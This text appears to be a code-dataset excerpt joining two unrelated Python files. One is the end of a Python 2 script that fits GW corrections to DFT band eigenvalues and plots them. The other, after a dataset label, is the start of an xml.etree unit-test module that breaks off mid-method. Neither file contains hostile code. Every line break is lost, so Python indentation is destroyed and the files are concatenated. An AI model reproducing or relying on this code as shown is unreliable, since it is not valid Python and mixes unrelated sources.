P.plot(dftarray_list[iinterval],gwarray_list[iinterval]-dftarray_list[iinterval]-N.polyval(polyfitlist[iinterval],dftarray_list[iinterval]),'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() P.plot([x_min,x_max],[0,0],'k-') P.xlabel('DFT eigenvalues (in eV)') P.ylabel('Error in the fit (in eV)') P.show() return energy_pivots_up,polyfitlist elif spinchoice == 'separate': polyfitlist_up = list() polyfitlist_down = list() if len(polyfit_degrees_up) == 1 or len(polyfit_degrees_down) == 1: print 'ERROR: making a fit with only one interval is not allowed ... exiting now' sys.exit() updftarray = N.append(upvaldftarray,upconddftarray) upgwarray = N.append(upvalgwarray,upcondgwarray) downdftarray = N.append(downvaldftarray,downconddftarray) downgwarray = N.append(downvalgwarray,downcondgwarray) updftarray_list,upgwarray_list = classify_eigenvalues(updftarray,energy_pivots_up,upgwarray) downdftarray_list,downgwarray_list = classify_eigenvalues(downdftarray,energy_pivots_down,downgwarray) for iinterval in range(len(polyfit_degrees_up)): tmpdftarray = updftarray_list[iinterval] tmpgwarray = upgwarray_list[iinterval] if len(tmpdftarray) > 0: if limitpoints == 'least-squares' or polyfit_degrees_up[iinterval] <= 0: pfit = N.polyfit(tmpdftarray,tmpgwarray-tmpdftarray,N.abs(polyfit_degrees_up[iinterval])) elif limitpoints == 'endpoints-fixed': idftmin = N.argmin(tmpdftarray) idftmax = N.argmax(tmpdftarray) igwmin = N.argmin(tmpgwarray) igwmax = N.argmax(tmpgwarray) if idftmin == igwmin: myimin = idftmin else: print 'COMMENT: the minimum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw minimum is taken' myimin = igwmin if iinterval == len(polyfit_degrees_up)-1: pfit = polynd_a(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_up[iinterval],indices=[myimin]) else: if idftmax == igwmax: myimax = idftmax else: print 'COMMENT: the maximum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw maximum is taken' myimax = igwmax pfit = polynd_ab(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_up[iinterval],indices=[myimin,myimax]) else: pfit = None polyfitlist_up.append(pfit) if smooth_end: if smooth_energy == None: smoothenergy = N.max(dftarray) else: smoothenergy = smooth_energy smoothdeltaenergy = None if smooth_delta_energy != None: smoothdeltaenergy = smooth_delta_energy oldpolyfitlist_up = list(polyfitlist_up) oldenergypivots_up = N.array(energy_pivots_up) energy_pivots_up,polyfitlist_up = smoothend(energy_pivots_up,polyfitlist_up,smoothenergy,delta_energy_ev=smoothdeltaenergy) updftarray_list,upgwarray_list = classify_eigenvalues(updftarray,energy_pivots_up,upgwarray) for iinterval in range(len(polyfit_degrees_down)): tmpdftarray = downdftarray_list[iinterval] tmpgwarray = downgwarray_list[iinterval] if len(tmpdftarray) > 0: if limitpoints == 'least-squares' or polyfit_degrees_down[iinterval] <= 0: pfit = N.polyfit(tmpdftarray,tmpgwarray-tmpdftarray,N.abs(polyfit_degrees_down[iinterval])) elif limitpoints == 'endpoints-fixed': idftmin = N.argmin(tmpdftarray) idftmax = N.argmax(tmpdftarray) igwmin = N.argmin(tmpgwarray) igwmax = N.argmax(tmpgwarray) if idftmin == igwmin: myimin = idftmin else: print 'COMMENT: the minimum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw minimum is taken' myimin = igwmin if iinterval == len(polyfit_degrees_down)-1: pfit = polynd_a(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_down[iinterval],indices=[myimin]) else: if idftmax == igwmax: myimax = idftmax else: print 'COMMENT: the maximum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw maximum is taken' myimax = igwmax pfit = polynd_ab(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_down[iinterval],indices=[myimin,myimax]) else: pfit = None polyfitlist_down.append(pfit) if smooth_end: if smooth_energy == None: smoothenergy = N.max(dftarray) else: smoothenergy = smooth_energy smoothdeltaenergy = None if smooth_delta_energy != None: smoothdeltaenergy = smooth_delta_energy oldpolyfitlist_down = list(polyfitlist_down) oldenergypivots_down = N.array(energy_pivots_down) energy_pivots_down,polyfitlist_down = smoothend(energy_pivots_down,polyfitlist_down,smoothenergy,delta_energy_ev=smoothdeltaenergy) downdftarray_list,downgwarray_list = classify_eigenvalues(downdftarray,energy_pivots_down,downgwarray) if plot_figures == 1: linspace_npoints = 200 upvalpoly_x = N.linspace(N.min(upvaldftarray),N.max(upvaldftarray),linspace_npoints) upcondpoly_x = N.linspace(N.min(upconddftarray),N.max(upconddftarray),linspace_npoints) downvalpoly_x = N.linspace(N.min(downvaldftarray),N.max(downvaldftarray),linspace_npoints) downcondpoly_x = N.linspace(N.min(downconddftarray),N.max(downconddftarray),linspace_npoints) P.figure(3,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(upvaldftarray,upvalgwarray-upvaldftarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(upconddftarray,upcondgwarray-upconddftarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() [y_min,y_max] = P.ylim() #for iinterval in range(len(polyfit_degrees_up)): for iinterval in range(len(polyfitlist_up)): if iinterval == 0: tmppoly_x = N.linspace(x_min,energy_pivots_up[iinterval],linspace_npoints) elif iinterval == len(polyfitlist_up)-1: tmppoly_x = N.linspace(energy_pivots_up[iinterval-1],x_max,linspace_npoints) else: tmppoly_x = N.linspace(energy_pivots_up[iinterval-1],energy_pivots_up[iinterval],linspace_npoints) if polyfitlist_up[iinterval] != None: P.plot(tmppoly_x,N.polyval(polyfitlist_up[iinterval],tmppoly_x),'k',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) for ipivot in range(len(energy_pivots_up)): en = energy_pivots_up[ipivot] if polyfitlist_up[ipivot] != None and polyfitlist_up[ipivot+1] != None: P.plot([en,en],[N.polyval(polyfitlist_up[ipivot],en),N.polyval(polyfitlist_up[ipivot+1],en)],'k-.',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues (in eV) - spin UP') P.ylabel('GW correction to the DFT eigenvalues (in eV)') P.ylim([y_min,y_max]) P.figure(4,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(downvaldftarray,downvalgwarray-downvaldftarray,'bo',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(downconddftarray,downcondgwarray-downconddftarray,'ro',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() [y_min,y_max] = P.ylim() for iinterval in range(len(polyfitlist_down)): if iinterval == 0: tmppoly_x = N.linspace(x_min,energy_pivots_down[iinterval],linspace_npoints) elif iinterval == len(polyfitlist_down)-1: tmppoly_x = N.linspace(energy_pivots_down[iinterval-1],x_max,linspace_npoints) else: tmppoly_x = N.linspace(energy_pivots_down[iinterval-1],energy_pivots_down[iinterval],linspace_npoints) if polyfitlist_down[iinterval] != None: P.plot(tmppoly_x,N.polyval(polyfitlist_down[iinterval],tmppoly_x),'k',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) for ipivot in range(len(energy_pivots_down)): en = energy_pivots_down[ipivot] if polyfitlist_down[ipivot] != None and polyfitlist_down[ipivot+1] != None: P.plot([en,en],[N.polyval(polyfitlist_down[ipivot],en),N.polyval(polyfitlist_down[ipivot+1],en)],'k-.',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues (in eV) - spin DOWN') P.ylabel('GW correction to the DFT eigenvalues (in eV)') P.ylim([y_min,y_max]) P.figure(5,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) #for iinterval in range(len(polyfit_degrees_up)): for iinterval in range(len(polyfitlist_up)): if polyfitlist_up[iinterval] != None: P.plot(updftarray_list[iinterval],upgwarray_list[iinterval]-updftarray_list[iinterval]-N.polyval(polyfitlist_up[iinterval],updftarray_list[iinterval]),'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() P.plot([x_min,x_max],[0,0],'k-') P.xlabel('DFT eigenvalues (in eV) - spin UP') P.ylabel('Error in the fit (in eV)') P.figure(6,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) #for iinterval in range(len(polyfit_degrees_down)): for iinterval in range(len(polyfitlist_down)): if polyfitlist_down[iinterval] != None: P.plot(downdftarray_list[iinterval],downgwarray_list[iinterval]-downdftarray_list[iinterval]-N.polyval(polyfitlist_down[iinterval],downdftarray_list[iinterval]),'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() P.plot([x_min,x_max],[0,0],'k-') P.xlabel('DFT eigenvalues (in eV) - spin DOWN') P.ylabel('Error in the fit (in eV)') P.show() return energy_pivots_up,energy_pivots_down,polyfitlist_up,polyfitlist_down def get_gvectors(): if os.path.isfile('.gvectors.bsinfo'): print 'File ".gvectors.bsinfo found with the following gvectors information :"' try: gvectors_reader = open('.gvectors.bsinfo','r') gvectors_data = gvectors_reader.readlines() gvectors_reader.close() trial_gvectors = N.identity(3,N.float) trial_gvectors[0,0] = N.float(gvectors_data[0].split()[0]) trial_gvectors[0,1] = N.float(gvectors_data[0].split()[1]) trial_gvectors[0,2] = N.float(gvectors_data[0].split()[2]) trial_gvectors[1,0] = N.float(gvectors_data[1].split()[0]) trial_gvectors[1,1] = N.float(gvectors_data[1].split()[1]) trial_gvectors[1,2] = N.float(gvectors_data[1].split()[2]) trial_gvectors[2,0] = N.float(gvectors_data[2].split()[0]) trial_gvectors[2,1] = N.float(gvectors_data[2].split()[1]) trial_gvectors[2,2] = N.float(gvectors_data[2].split()[2]) print ' gvectors(1) = [ %20.17f %20.17f %20.17f ]' %(trial_gvectors[0,0],trial_gvectors[0,1],trial_gvectors[0,2]) print ' gvectors(2) = [ %20.17f %20.17f %20.17f ]' %(trial_gvectors[1,0],trial_gvectors[1,1],trial_gvectors[1,2]) print ' gvectors(3) = [ %20.17f %20.17f %20.17f ]' %(trial_gvectors[2,0],trial_gvectors[2,1],trial_gvectors[2,2]) except: print 'ERROR: file ".gvectors.bsinfo" might be corrupted (empty or not formatted correctly ...)' print ' you should remove the file and start again or check the file ... exit' sys.exit() test = raw_input('Press <ENTER> to use these gvectors (any other character to enter manually other gvectors)\n') if test == '': gvectors = trial_gvectors else: gvectors = N.identity(3,N.float) test = raw_input('Enter G1 (example : "0.153 0 0") : \n') gvectors[0,0] = N.float(test.split()[0]) gvectors[0,1] = N.float(test.split()[1]) gvectors[0,2] = N.float(test.split()[2]) test = raw_input('Enter G2 (example : "0.042 1.023 0") : \n') gvectors[1,0] = N.float(test.split()[0]) gvectors[1,1] = N.float(test.split()[1]) gvectors[1,2] = N.float(test.split()[2]) test = raw_input('Enter G3 (example : "0 0 1.432") : \n') gvectors[2,0] = N.float(test.split()[0]) gvectors[2,1] = N.float(test.split()[1]) gvectors[2,2] = N.float(test.split()[2]) test = raw_input('Do you want to overwrite the gvectors contained in the file ".gvectors.bsinfo" ? (<ENTER> for yes, anything else for no)\n') if test == '': print 'Writing gvectors to file ".gvectors.bsinfo" ...' gvectors_writer = open('.gvectors.bsinfo','w') gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(trial_gvectors[0,0],trial_gvectors[0,1],trial_gvectors[0,2])) gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(trial_gvectors[1,0],trial_gvectors[1,1],trial_gvectors[1,2])) gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(trial_gvectors[2,0],trial_gvectors[2,1],trial_gvectors[2,2])) gvectors_writer.close() print '... done' else: test = raw_input('Do you want to enter the the reciprocal space primitive vectors (y/n)\n') if test == 'y': gvectors = N.identity(3,N.float) test = raw_input('Enter G1 (example : "0.153 0 0") : ') gvectors[0,0] = N.float(test.split()[0]) gvectors[0,1] = N.float(test.split()[1]) gvectors[0,2] = N.float(test.split()[2]) test = raw_input('Enter G2 (example : "0.042 1.023 0") : ') gvectors[1,0] = N.float(test.split()[0]) gvectors[1,1] = N.float(test.split()[1]) gvectors[1,2] = N.float(test.split()[2]) test = raw_input('Enter G3 (example : "0 0 1.432") : ') gvectors[2,0] = N.float(test.split()[0]) gvectors[2,1] = N.float(test.split()[1]) gvectors[2,2] = N.float(test.split()[2]) test = raw_input('Do you want to write the gvectors to file ".gvectors.bsinfo" ? (<ENTER> for yes, anything else for no)\n') if test == '': print 'Writing gvectors to file ".gvectors.bsinfo" ...' gvectors_writer = open('.gvectors.bsinfo','w') gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(gvectors[0,0],gvectors[0,1],gvectors[0,2])) gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(gvectors[1,0],gvectors[1,1],gvectors[1,2])) gvectors_writer.write('%20.17f %20.17f %20.17f\n' %(gvectors[2,0],gvectors[2,1],gvectors[2,2])) gvectors_writer.close() print '... done' else: gvectors = None return gvectors # Parse the command line options parser = argparse.ArgumentParser(description='Tool for eigenvalue analysis') parser.add_argument('-g','--graphical',help='use the graphical user interface',action='store_true') parser.add_argument('-c','--command_line',help='use the command line interface',action='store_true') parser.add_argument('files',help='files to be opened',nargs=2) args = parser.parse_args() args_dict = vars(args) if args_dict['command_line'] and args_dict['graphical']: raise StandardError('Use either "-g/--graphical" or "-c/--command_line"') elif args_dict['command_line']: use_gui = False else: use_gui = False if not use_gui: if args_dict['files']: if len(args_dict['files']) != 2: print 'ERROR: you should provide EIG.nc and _GW files ! exiting now ...' sys.exit() file_1 = args_dict['files'][0] file_2 = args_dict['files'][1] if file_1[-6:] == 'EIG.nc': eig_file = file_1 if file_2[-3:] == '_GW': gw_file = file_2 else: print 'ERROR: you should provide 1 _GW file with your EIG.nc file ! exiting now ...' sys.exit() elif file_1[-3:] == '_GW': gw_file = file_1 if file_2[-6:] == 'EIG.nc': eig_file = file_2 else: print 'ERROR: you should provide 1 EIG.nc file with your _GW file ! exiting now ...' sys.exit() else: print 'ERROR: you should provide 1 EIG.nc and 1 _GW files ! exiting now ...' sys.exit() else: print 'ERROR: you should provide EIG.nc and _GW files ! exiting now ...' sys.exit() ec_dft = EigenvalueContainer(directory='.',filename=eig_file) ec_gw = EigenvalueContainer(directory='.',filename=gw_file) check_gw_vs_dft_parameters(ec_dft,ec_gw) user_input = raw_input('Do you want to plot the figures ? (y/n)\n') if user_input == 'y' or user_input == 'Y': plot_figures = 1 else: plot_figures = 0 user_input = raw_input('Enter the index of the valence band maximum :\n') vbm_index = N.int(user_input) user_input = raw_input('Do you want the script to automatically find groups of bands (y/n) ?\n') if user_input == 'y': user_input = raw_input('Enter the name of the bandstructure file used to find groups of bands\n(<ENTER> for finding groups of bands on the regular grid -- file "%s" ... not recommended)\n' %eig_file) if user_input == '': if ec_dft.nsppol > 1: energy_pivots_up_ha,energy_pivots_down_ha = ec_dft.find_band_groups(spinchoice='separate') energy_pivots_up = csts.hartree2ev*energy_pivots_up_ha energy_pivots_down = csts.hartree2ev*energy_pivots_down_ha else: energy_pivots = csts.hartree2ev*ec_dft.find_band_groups() else: if ec_dft.nsppol > 1: energy_pivots_up_ha,energy_pivots_down_ha = ec_dft.find_band_groups(bandstructure_file=user_input,spinchoice='separate') energy_pivots_up = csts.hartree2ev*energy_pivots_up_ha energy_pivots_down = csts.hartree2ev*energy_pivots_down_ha else: energy_pivots = csts.hartree2ev*ec_dft.find_band_groups(bandstructure_file=user_input) if ec_dft.nsppol > 1: nfittingintervals_up = len(energy_pivots_up)+1 nfittingintervals_down = len(energy_pivots_down)+1 else: nfittingintervals = len(energy_pivots)+1 else: if plot_figures == 1: plot_gw_vs_dft_eig(ec_dft,ec_gw,vbm_index,spinchoice='separate') if ec_dft.nsppol == 1: user_input = raw_input('How many fitting intervals do you want ? (default is 2 : valence/conduction => press <ENTER>)\n') if user_input == '': nfittingintervals = 2 energy_pivots = N.zeros(nfittingintervals-1,N.float) energy_pivots[0] = csts.hartree2ev*(N.min(ec_dft.eigenvalues[:,:,vbm_index])+N.max(ec_dft.eigenvalues[:,:,vbm_index-1]))/2 else: nfittingintervals = N.int(user_input) energy_pivots = N.zeros(nfittingintervals-1,N.float) user_input = raw_input('Enter the %s energy "pivots" that splits the dft eigenvalues in %s fitting intervals (in eV) :\n' %(nfittingintervals-1,nfittingintervals)) energy_pivots = N.array(user_input.split(),N.float) if len(energy_pivots) != nfittingintervals-1: print 'ERROR: you asked %s fitting intervals and provided %s energy "pivots".' %(nfittingintervals,len(energy_pivots)) print ' you should provide %s energy "pivots" ... exiting now' %(nfittingintervals-1) sys.exit() for ienergy in range(1,len(energy_pivots)): if energy_pivots[ienergy] <= energy_pivots[ienergy-1]: print 'ERROR: the energy pivots have to be entered increasingly' print ' you should provide energy "pivots" with increasing energies ... exiting now' sys.exit() elif ec_dft.nsppol == 2: user_input = raw_input('How many fitting intervals do you want for spin up ? (default is 2 : valence/conduction => press <ENTER>)\n') if user_input == '': nfittingintervals_up = 2 energy_pivots_up = N.zeros(nfittingintervals_up-1,N.float) energy_pivots_up[0] = csts.hartree2ev*(N.min(ec_dft.eigenvalues[0,:,vbm_index])+N.max(ec_dft.eigenvalues[0,:,vbm_index-1]))/2 else: nfittingintervals_up = N.int(user_input) energy_pivots_up = N.zeros(nfittingintervals_up-1,N.float) user_input = raw_input('Enter the %s energy "pivots" that splits the dft eigenvalues (spin up) in %s fitting intervals (in eV) :\n' %(nfittingintervals_up-1,nfittingintervals_up)) energy_pivots_up = N.array(user_input.split(),N.float) if len(energy_pivots_up) != nfittingintervals_up-1: print 'ERROR: you asked %s fitting intervals and provided %s energy "pivots".' %(nfittingintervals_up,len(energy_pivots_up)) print ' you should provide %s energy "pivots" ... exiting now' %(nfittingintervals_up-1) sys.exit() for ienergy in range(1,len(energy_pivots_up)): if energy_pivots_up[ienergy] <= energy_pivots_up[ienergy-1]: print 'ERROR: the energy pivots have to be entered increasingly' print ' you should provide energy "pivots" with increasing energies ... exiting now' sys.exit() user_input = raw_input('How many fitting intervals do you want for spin down ? (default is 2 : valence/conduction => press <ENTER>)\n') if user_input == '': nfittingintervals_down = 2 energy_pivots_down = N.zeros(nfittingintervals_down-1,N.float) energy_pivots_down[0] = csts.hartree2ev*(N.min(ec_dft.eigenvalues[0,:,vbm_index])+N.max(ec_dft.eigenvalues[0,:,vbm_index-1]))/2 else: nfittingintervals_down = N.int(user_input) energy_pivots_down = N.zeros(nfittingintervals_down-1,N.float) user_input = raw_input('Enter the %s energy "pivots" that splits the dft eigenvalues (spin down) in %s fitting intervals (in eV) :\n' %(nfittingintervals_down-1,nfittingintervals_down)) energy_pivots_down = N.array(user_input.split(),N.float) if len(energy_pivots_down) != nfittingintervals_down-1: print 'ERROR: you asked %s fitting intervals and provided %s energy "pivots".' %(nfittingintervals_down,len(energy_pivots_down)) print ' you should provide %s energy "pivots" ... exiting now' %(nfittingintervals_down-1) sys.exit() for ienergy in range(1,len(energy_pivots_down)): if energy_pivots_down[ienergy] <= energy_pivots_down[ienergy-1]: print 'ERROR: the energy pivots have to be entered increasingly' print ' you should provide energy "pivots" with increasing energies ... exiting now' sys.exit() if ec_dft.nsppol > 1: print 'Script will use the following energy pivots for the interpolation (spin up)' print energy_pivots_up user_input = raw_input('Enter the degree of polynomials used to fit the GW corrections (spin up) \nfor each interval (%s values, default is 3rd order polynomials with "fixed points" for each group of bands => press <ENTER>)\n or enter "options" to enter specific options' %nfittingintervals_up) if user_input == '': polyfit_degrees_up = 3*N.ones(nfittingintervals_up,N.int) option_limit_points = 'endpoints-fixed' elif user_input == 'options': print 'ERROR: this option is not yet coded ... exit' sys.exit() else: polyfit_degrees_up = N.array(user_input.split(),N.int) option_limit_points = 'endpoints-fixed' print 'Script will use the following energy pivots for the interpolation (spin down)' print energy_pivots_down user_input = raw_input('Enter the degree of polynomials used to fit the GW corrections (spin down) \nfor each interval (%s values, default is 3rd order polynomials with "fixed points" for each group of bands => press <ENTER>)\n or enter "options" to enter specific options' %nfittingintervals_down) if user_input == '': polyfit_degrees_down = 3*N.ones(nfittingintervals_down,N.int) option_limit_points = 'endpoints-fixed' elif user_input == 'options': print 'ERROR: this option is not yet coded ... exit' sys.exit() else: polyfit_degrees_down = N.array(user_input.split(),N.int) option_limit_points = 'endpoints-fixed' new_energy_pivots_up,new_energy_pivots_down,polyfit_list_up,polyfit_list_down = plot_gw_vs_dft_eig(ec_dft,ec_gw,vbm_index,energy_pivots_up=energy_pivots_up,energy_pivots_down=energy_pivots_down,polyfit_degrees_up=polyfit_degrees_up,polyfit_degrees_down=polyfit_degrees_down,limitpoints=option_limit_points,spinchoice='separate') else: print 'Script will use the following energy pivots for the interpolation (same for all spins)' print energy_pivots user_input = raw_input('Enter the degree of polynomials used to fit the GW corrections \nfor each interval (%s values, default is 3rd order polynomials with "fixed points" for each group of bands => press <ENTER>)\n or enter "options" to enter specific options' %nfittingintervals) if user_input == '': polyfit_degrees = 3*N.ones(nfittingintervals,N.int) option_limit_points = 'endpoints-fixed' elif user_input == 'options': print 'ERROR: this option is not yet coded ... exit' sys.exit() else: if user_input.split()[-1] == 'x': tmp = user_input.split() tmp[-1] = '0' polyfit_degrees = N.array(tmp,N.int) option_limit_points = 'endpoints-fixed_last-flat' else: polyfit_degrees = N.array(user_input.split(),N.int) option_limit_points = 'endpoints-fixed' user_input = raw_input('Enter specific options for the end of the polyfit ? (y/n) [<ENTER> to continue without entering specific options]') if user_input == 'y': user_input = raw_input('Enter the end smooth energy (to be documented ...) : ') smoothenergy = N.float(user_input) user_input = raw_input('Enter the end smooth delta energy (to be documented ...) [<ENTER> for default]: ') if user_input == '': smoothdeltaenergy = None else: smoothdeltaenergy = N.float(user_input) new_energypivots,polyfit_list = plot_gw_vs_dft_eig(ec_dft,ec_gw,vbm_index,energy_pivots_up=energy_pivots,polyfit_degrees_up=polyfit_degrees,limitpoints=option_limit_points,smooth_end=True,smooth_energy=smoothenergy,smooth_delta_energy=smoothdeltaenergy) else: new_energypivots,polyfit_list = plot_gw_vs_dft_eig(ec_dft,ec_gw,vbm_index,energy_pivots_up=energy_pivots,polyfit_degrees_up=polyfit_degrees,limitpoints=option_limit_points) if ec_dft.nsppol > 1: print polyfit_list_up print polyfit_list_down else: print polyfit_list write_polyfit('mytest.pfitlist',new_energypivots,polyfit_list) gw_interpolate = False user_input = raw_input('Do you want to make an interpolated _GW file ? (y/n)\n') if user_input == 'y' or user_input == 'Y': gw_interpolate = True if gw_interpolate: nc_eig_file = raw_input('Enter the name of the EIG.nc file you want to extrapolate to GW :\n') new_ec_dft = EigenvalueContainer(directory='.',filename=nc_eig_file) user_input = raw_input('For which "bdgw"\'s do you want the interpolation (indices of \nthe smallest \ valence and largest conduction bands) ? bdgw(1)<=vbm_index<bdgw(2)<=%s \ (usually "1 something")\n' %N.min(new_ec_dft.bd_indices[:,:,1])) if user_input == '': bdgw_interpolated = N.array([1,N.min(new_ec_dft.bd_indices[:,:,1])]) else: bdgw_interpolated = N.array(user_input.split(),N.int) filename = '%s_polyfit_GW' %(nc_eig_file) new_ec_dft.pfit_gw_file_write(polyfit_list,filename=filename,bdgw=bdgw_interpolated,energy_pivots=new_energypivots,gwec=ec_gw) user_input = raw_input('Do you want to make an interpolated bandstructure file ? (y/n)\n') if user_input == 'y' or user_input == 'Y': nc_eig_file = raw_input('Enter the name of the bandstructure EIG.nc file you want to extrapolate to GW :\n') new_ec_dft = EigenvalueContainer(directory='.',filename=nc_eig_file) gvectors = get_gvectors() if ec_dft.nsppol > 1: gw_eigenvalues = new_ec_dft.pfit_gw_eigenvalues_ha(polyfit_list_up,energy_pivots_up=energy_pivots_up,polyfitlist_down=polyfit_list_down,energy_pivots_down=energy_pivots_down,ecgw=ec_gw) new_ec_dft.eigenvalues = gw_eigenvalues else: #gw_eigenvalues = new_ec_dft.pfit_gw_eigenvalues_ha(polyfit_list,energy_pivots_up=energy_pivots,ecgw=ec_gw) gw_eigenvalues = new_ec_dft.pfit_gw_eigenvalues_ha(polyfit_list,energy_pivots_up=new_energypivots,ecgw=None) new_ec_dft.eigenvalues = gw_eigenvalues new_ec_dft.set_kpoint_sampling_type('Bandstructure') new_ec_dft.find_special_kpoints(gvectors) print 'Number of bands in the file : %s' %(N.shape(new_ec_dft.eigenvalues)[2]) test = raw_input('Enter the number of bands to be plotted (<ENTER> : %s) : \n' %(N.shape(new_ec_dft.eigenvalues)[2])) if test == '': nbd_plot = N.shape(new_ec_dft.eigenvalues)[2] else: nbd_plot = N.int(test) if nbd_plot > N.shape(new_ec_dft.eigenvalues)[2]: print 'ERROR: the number of bands to be plotted is larger than the number available ... exit' sys.exit() new_ec_dft.special_kpoints_names = ['']*len(new_ec_dft.special_kpoints_indices) for ii in range(len(new_ec_dft.special_kpoints_indices)): new_ec_dft.special_kpoints_names[ii] = 'k%s' %(ii+1) print 'List of special kpoints :' for ii in range(len(new_ec_dft.special_kpoints_indices)): spkpt = new_ec_dft.kpoints[new_ec_dft.special_kpoints_indices[ii]] print ' Kpoint %s : %s %s %s' %(ii+1,spkpt[0],spkpt[1],spkpt[2]) print 'Enter the name of the %s special k-points :' %(len(new_ec_dft.special_kpoints_indices)) test = raw_input('') if len(test.split()) == len(new_ec_dft.special_kpoints_indices): for ii in range(len(new_ec_dft.special_kpoints_indices)): new_ec_dft.special_kpoints_names[ii] = test.split()[ii] test = raw_input('Enter base name for bandstructure file : \n') new_ec_dft.write_bandstructure_to_file('%s.bandstructure' %test) P.figure(1,figsize=(3.464,5)) P.hold('on') P.grid('on') P.xticks(N.take(new_ec_dft.kpoint_reduced_path_values,N.array(new_ec_dft.special_kpoints_indices,N.int)),new_ec_dft.special_kpoints_names) for iband in range(nbd_plot): if new_ec_dft.nsppol == 1: P.plot(new_ec_dft.kpoint_reduced_path_values,new_ec_dft.eigenvalues[0,:,iband]*csts.hartree2ev,'k-',linewidth=2) else: P.plot(new_ec_dft.kpoint_reduced_path_values,new_ec_dft.eigenvalues[0,:,iband]*csts.hartree2ev,'k-',linewidth=2) P.plot(new_ec_dft.kpoint_reduced_path_values,new_ec_dft.eigenvalues[1,:,iband]*csts.hartree2ev,'r-',linewidth=2) P.show()
codeparrot/github-code-clean
# IMPORTANT: the same tests are run from "test_xml_etree_c" in order # to ensure consistency between the C implementation and the Python # implementation. # # For this purpose, the module-level "ET" symbol is temporarily # monkey-patched when running the "test_xml_etree_c" test suite. import html import io import operator import pickle import sys import unittest import weakref from itertools import product from test import support from test.support import TESTFN, findfile, import_fresh_module, gc_collect # pyET is the pure-Python implementation. # # ET is pyET in test_xml_etree and is the C accelerated version in # test_xml_etree_c. pyET = None ET = None SIMPLE_XMLFILE = findfile("simple.xml", subdir="xmltestdata") try: SIMPLE_XMLFILE.encode("utf-8") except UnicodeEncodeError: raise unittest.SkipTest("filename is not encodable to utf8") SIMPLE_NS_XMLFILE = findfile("simple-ns.xml", subdir="xmltestdata") SAMPLE_XML = """\ <body> <tag class='a'>text</tag> <tag class='b' /> <section> <tag class='b' id='inner'>subtext</tag> </section> </body> """ SAMPLE_SECTION = """\ <section> <tag class='b' id='inner'>subtext</tag> <nexttag /> <nextsection> <tag /> </nextsection> </section> """ SAMPLE_XML_NS = """ <body xmlns="http://effbot.org/ns"> <tag>text</tag> <tag /> <section> <tag>subtext</tag> </section> </body> """ SAMPLE_XML_NS_ELEMS = """ <root> <h:table xmlns:h="hello"> <h:tr> <h:td>Apples</h:td> <h:td>Bananas</h:td> </h:tr> </h:table> <f:table xmlns:f="foo"> <f:name>African Coffee Table</f:name> <f:width>80</f:width> <f:length>120</f:length> </f:table> </root> """ ENTITY_XML = """\ <!DOCTYPE points [ <!ENTITY % user-entities SYSTEM 'user-entities.xml'> %user-entities; ]> <document>&entity;</document> """ class ModuleTest(unittest.TestCase): # TODO: this should be removed once we get rid of the global module vars def test_sanity(self): # Import sanity. from xml.etree import ElementTree from xml.etree import ElementInclude from xml.etree import ElementPath def serialize(elem, to_string=True, encoding='unicode', **options): if encoding != 'unicode': file = io.BytesIO() else: file = io.StringIO() tree = ET.ElementTree(elem) tree.write(file, encoding=encoding, **options) if to_string: return file.getvalue() else: file.seek(0) return file def summarize_list(seq): return [elem.tag for elem in seq] class ElementTestCase: @classmethod def setUpClass(cls): cls.modules = {pyET, ET} def pickleRoundTrip(self, obj, name, dumper, loader): save_m = sys.modules[name] try: sys.modules[name] = dumper temp = pickle.dumps(obj) sys.modules[name] = loader result = pickle.loads(temp) except pickle.PicklingError as pe: # pyET must be second, because pyET may be (equal to) ET. human = dict([(ET, "cET"), (pyET, "pyET")]) raise support.TestFailed("Failed to round-trip %r from %r to %r" % (obj, human.get(dumper, dumper), human.get(loader, loader))) from pe finally: sys.modules[name] = save_m return result def assertEqualElements(self, alice, bob): self.assertIsInstance(alice, (ET.Element, pyET.Element)) self.assertIsInstance(bob, (ET.Element, pyET.Element)) self.assertEqual(len(list(alice)), len(list(bob))) for x, y in zip(alice, bob): self.assertEqualElements(x, y) properties = operator.attrgetter('tag', 'tail', 'text', 'attrib') self.assertEqual(properties(alice), properties(bob)) # -------------------------------------------------------------------- # element tree tests class ElementTreeTest(unittest.TestCase): def serialize_check(self, elem, expected): self.assertEqual(serialize(elem), expected) def test_interface(self): # Test element tree interface. def check_string(string): len(string) for char in string: self.assertEqual(len(char), 1, msg="expected one-character string, got %r" % char) new_string = string + "" new_string = string + " " string[:0] def check_mapping(mapping): len(mapping) keys = mapping.keys() items = mapping.items() for key in keys: item = mapping[key] mapping["key"] = "value" self.assertEqual(mapping["key"], "value", msg="expected value string, got %r" % mapping["key"]) def check_element(element): self.assertTrue(ET.iselement(element), msg="not an element") 